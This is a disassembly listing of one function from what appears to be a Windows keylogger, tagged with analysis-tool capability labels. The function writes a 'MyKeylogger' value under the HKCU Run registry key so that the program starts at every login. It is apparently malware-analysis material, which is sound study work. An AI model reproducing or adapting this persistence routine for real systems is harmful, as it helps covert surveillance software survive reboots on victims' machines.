Function at 0x1400014b8
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x290
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x230], rcx
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
mov r8d, 0
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
call rax
mov dword [rbp + 0x20c], eax
cmp dword [rbp + 0x20c], 0
je 0x140001566
lea rax, str.Error:_Could_not_open_registry_key._Code:
mov rdx, rax
mov rax, qword [0x14007d200]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x20c]
mov edx, eax
call method.std::ostream.operator___long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x14000187c
mov dword [rbp + 0x1c4], 0x208
mov rax, qword [rbp + 0x1c8]
lea rdx, [rbp + 0x1c4]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.MyKeylogger
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
call rax
mov dword [rbp + 0x20c], eax
cmp dword [rbp + 0x20c], 2
jne 0x140001694
mov rax, qword [rbp + 0x230]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.size___const
add rax, 1
lea ebx, [rax + rax]
mov rax, qword [rbp + 0x230]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x1c8]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.MyKeylogger
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call rax
mov dword [rbp + 0x20c], eax
cmp dword [rbp + 0x20c], 0
jne 0x140001654
lea rax, str.Registry_entry_created_successfully.
mov rdx, rax
mov rax, qword [0x14007d220]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x140001848
lea rax, str.Error:_Failed_to_create_registry_entry._Code:
mov rdx, rax
mov rax, qword [0x14007d200]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x20c]
mov edx, eax
call method.std::ostream.operator___long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x140001848
cmp dword [rbp + 0x20c], 0
jne 0x14000180d
lea rax, [rbp + 0x1ff]
mov qword [rbp + 0x200], rax
nop
nop
lea rcx, [rbp + 0x1ff]
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x1d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rdx, [rbp + 0x1d0]
mov rax, qword [rbp + 0x230]
mov rcx, rax
call method.bool_std::operator__wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::a
mov ebx, eax
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x1ff]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
test bl, bl
je 0x1400017e0
mov rax, qword [rbp + 0x230]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.size___const
add rax, 1
lea ebx, [rax + rax]
mov rax, qword [rbp + 0x230]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x1c8]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.MyKeylogger
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call rax
mov dword [rbp + 0x20c], eax
cmp dword [rbp + 0x20c], 0
jne 0x1400017a3
lea rax, str.Registry_entry_updated_successfully.
mov rdx, rax
mov rax, qword [0x14007d220]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x140001848
lea rax, str.Error:_Failed_to_update_registry_entry._Code:
mov rdx, rax
mov rax, qword [0x14007d200]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x20c]
mov edx, eax
call method.std::ostream.operator___long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x140001848
lea rax, str.Registry_entry_is_up_to_date.
mov rdx, rax
mov rax, qword [0x14007d220]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x140001848
lea rax, str.Error:_Could_not_query_registry_entry._Code:
mov rdx, rax
mov rax, qword [0x14007d200]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x20c]
mov edx, eax
call method.std::ostream.operator___long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
jmp 0x14000187c
add rsp, 0x290
pop rbx
pop rdi
pop rbp
ret